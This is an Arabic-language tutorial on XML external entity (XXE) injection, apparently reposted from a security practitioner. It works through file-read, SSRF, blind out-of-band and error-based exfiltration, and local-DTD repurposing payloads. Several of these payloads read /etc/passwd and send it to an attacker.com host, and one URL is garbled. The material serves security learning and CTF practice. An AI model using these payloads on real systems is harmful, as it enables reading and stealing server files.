ثغرة اللـ XXE او اللـ XML external Entity injection ؟

ايه هي ثغرة اللـ XXE او اللـ XML external Entity injection ؟
= بكل بساطة اي ابليكشن بيعمل معالجة (Parsing) لـxml input

ساعتها اللـxml data دي بتروح على اللـXML Parser وهو بدوره بيقوم بتحليل ومعالجة
اللـXML data ويعرض المحتوى .. ودا الطبيعي في اي ابليكشن..

ولكن اللـXML Input لو مش معمول عليه validation بشكل صحيح ساعتها يقدر اللـAttacker إنه يـinject

XML Code بمزاجه وللأسف اللـXML parsing libraries بتـsupport شوية features خطيرة جدًا ساعتها اللـattacker
بيستخدمها وبالتالي بيفشخ اللـapplication .. زي إنه يقدر يقرأ ملفات موجودة على اللـapplication server

او إنه يـSSRF (Server side request forgery) ودي ثغرة موجزها إنه بيخليك تقدر توصل للـlocal network services
وتعمل bypass للـfirewall .. وطبعا فيه كذا نوع من الexploitation للثغرة دي زي :
- Exploiting XXE to retrieve files from srever
- Exploiting XXE to perform SSRF
- Blind XXE to exfiltrate the data - out of band
- XXE by Repurposing a local DTD

طيب قبل ما نتكلم عن اللـExploitation لازم تكون عارف حاجتين مهمين وهما اللـDTD, Entities !
-اللـDTD اختصار لـDocument Type Definition ومن الأخر دا عبارة عن ملف بصيغة .dtd
بيكون جواه اللـstructure بتاع اللـXML Code بتاعنا..

واحنا بنكتب جواه اللـEploitation code بتاعنا اللبيروح يتنفذ داخل اللـXML Code وهنشوف دا كمان شوية..
-اللـEntities بقى.. مش انا لسا قايلك إنه بنكتب جوا اللـdtd file اللـExploitation code بتاعنا؟
اهو اللـcode دا بيبقى عبارة عن entities .. واللـentity هوريلك الcode بتاعها عشان تفهمها من غير كلام
هي اللـentity بتكون عبارة عن <!ENTITY EntityName = "Entity Value "
File DTD:

<!ENTITY SayHello "Hello">
<!ENTITY SayBye "..Bye">
XML example:
<author>&SayHello;&SayBye;</author>
output:
Hello..Bye

لاحظ إننا هنا استدعينا اللـentity جوا اللـXML من خلال &entityName;

النوع الأول:- Retrive files from the server
تخيل معايا إنه فيه موقع "website.com" بيبيع دهب مثلًا ولما تيجي تشتري دهب بيروح الأول يعمل XML Request
للـServer عشان يشوف سعر الدهب انهاردا .. ودا شكل اللـXML Request :-

<?xml version="1.0" encoding="UTF-8"?>
<goldPrice><Today_price>gold</Today_price></goldPrice>

بالتالي إحنا هنا ممكن نـعدل على اللـRequest من خلال الburp suite او zap proxy ونـinject xml payload
بحيث هيكون اللـRequest بالشكل دا

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxePaylod SYSTEM "file:///etc/passwd">]>
<goldPrice><Today_price>&xxePaylod;</Today_price></goldPrice>

لو تاخد بالك إننا حقنا entity هنا بتقوم بقراءة ملف اللـ/etc/passwd
وبدل ما يرجعلنا قيمة اللـgold خليناه يرجع قيمة اللـentity من خلال إننا ندينا عليها من خلال اللـ &xxePayload; ...

بالتالي اول ما تبعت اللـrequest هيروح اللـXML Parser يعمل parsing للـcode ولو مفيش اي validation
اللـEntity ساعتها هتتنفذ وهنقدر نقرأ محتوى ملف اللـ/etc/passwd

طيب لو كان فيه input validation اعمل ايه؟
= بعض اللـinput validation بتمنع اللـregular entity اللستخدمناها من شوية بالتالي هنجرب نستخدم نوع مختلف
من اللـentities وهو اللـparamater entity ودا عبارة عن entity عادي جدًا لكن لما نيجي نستدعيه

بيكون في مكان مختلف وودا نفس اللـrequest اللفوق لكن بإستخدام اللـparamater entity والحماية دي إسمها
hardening of the XML parser ..

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY%  xxePaylod SYSTEM "file:///etc/passwd"> %xxePayload; ]>
<goldPrice><Today_price></Today_price></goldPrice

لاحظ الفرق هنا إنه قبل اسم اللـentity حطينا % وكمان لما نيجي نستدعيه بيكون داخل اللـentity ذات نفسها
وكذلك بنستدعيه من خلال %entityName;

وكنا ممكن نعمل SSRF Attack من خلال اللـentity دا

<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "https://website.com/here!"> ]>

وممكن نـعمل http request لأي website موجود..
وعشان نتأكد من إنه الموقع مصاب باللـXXE هو إننا ممكن نحط مكان اللـينك اللفوق دا
اللـburp collaborator بتاعنا ولو جالنا request فـ هو مصاب ودا اللـout-of-band ..

طيب في الحالة دي اللـXML data بتظهرلنا في اللـResponse طب نعمل ايه لو فعلًا الموقع مصاب بـXXE ولكن
مفيش Data بترجعلنا في Response ؟
وهنا هنتكلم عن اللـXXE Blind exploitation !
في الحالة دي اللـattacker هيضطر إنه يعمل dtd file في الموقع بتاعه https://attacker.com/file.dtd
جوا اللـdtd file هيكون جواه اللـentities بتاعتنا واللـXML Structure ..

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % run "<!ENTITY &#x25; data SYSTEM 'http://attacker.com/?x=%file;'>">
%run;
%data;

ساعتها اللـattacker بقى هيروح يحقن اللـXML في الموقع المصاب :

<!DOCTYPE foo [<!ENTITY % xxe SYSTEM
'https://ehttps://attacker.com/file.dtd'> %xxe;]>

بالتالي ساعتها هيروح ينادي على اللـentities الموجودة في https://attacker.com/file.dtd
واللـ هي بتروح تحط اللـ/etc/passwd داتا دي جوا اللـ%file;
وبعدين اللـentity run% بتروح تنفذ اللـ%data entity اللدورها هنا بتروح
تبعت request لموقع اللـattacker وفيه parameter x بيبعت قيمة اللـ/etc/passwd
وهنا اللـattacker بيروح يفتح اللـserver logs وبكل سهولة بيشوف الداتا دي..

نقدر نعمل نفس اللـscenario دا بالظبط ولكن بدل ما نبعت اللـdata في paramater هنروح نعمل error message
في XML Parser مما هيخليه يرجعلنا اللـdata دي في error message

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % run "<!ENTITY &#x25; error SYSTEM 'file:///xxxxxxxxxxxxx/%file;' >">
%run;
%error;

ركز في الpayload هتفهم هو بيعمل ايه ..

طيب دلوقتي احنا كل دا معتمدين على اللـExternal entity اللهي داخل اللـDTD file بتاع اللـattacker !
طيب فالنفرض إنه اللـXML parser مش بيقبل يـload external dtd وكمان مفيش out of band
هنا هنلعب على زي خلل او loophole موجود في اللـXML Specification او اللـConfiguration سميها زي ما تسميها..
وهي إنه لو اللـDTD file بيستخدم internal , external ساعتها اللـinternal entity بيـoverride اللـexternal entity
طب ازاي الكلام دا؟ شوف المثال الحي..

= بص يا سيدي، هنا احنا هنعتمد على نوع اللـOS .. كل OS بيكون جواه شوية DTD-Files زي مثلًا
/usr/share/xml/schema/xml-core/catalog.dtd
او على الويندوز
/C:\Windows\System32\wbem\xml\wmi20.dtd

إحنا بقى هنا هنستدعي الملف دا كـdtd file :
<!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/schema/xml-core/catalog.dtd ">
وساعتها هنروح نكتب ENTITY موجودة اصلًأ في الملف دا بحيث اللـinternal entity هتـoverride اللـexternal entity الموجوة داخل الملف
مثلًا لو احنا عارفين اصلًا إن فيه entity اسمها known_entity في الملف دا يبقى الpayload هيبقى كدا

<!ENTITY % known_entity '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; doit"<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///xxxxxxx/&#x25;file;&#x27;>">
&#x25;doit;
&#x25;error;'>

ودا اللـpayload بشكل كامل :

<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/schema/xml-core/catalog.dtd">
<!ENTITY % known_entity '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; doit"<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///xxxxxxx/&#x25;file;&#x27;>">
&#x25;doit;
&#x25;error;
'>
%local_dtd;
]>

وفيه السكربت دا مكتوب بلغة kotlin هيساعدك تلاقي اللـexternal dtd file الموجود على اللـapplication server ..
https://github.com/GoSecure/dtd-finder
يبقى كل الفكرة هنا إن احنا مينفعش نستخدم out-of-band يبقى ساعتها مينفعش نجيب external DTD من remote location ع سيرفر بتاعنا
بالتالي احنا محتاجين نوصل لـexternal DTD موجود على اللـapplication server ..

واللـAttack دا معروض بإسم : Repurposing a local DTD ..

طبعًا فيه طرق تانية زي اللـSVG,DOCX Upload , XInclude, PHP-Except-wrapper , Content-type: From-www-urlencoded to XML
فـ لو عايز تستفاد الإفادة الكاملة روح سرش عليهم وافهمهم كويس وروح طبق كل دا على CTFs,machines واقرأ writeups
منقول عن م/ Yasser ElShabrawi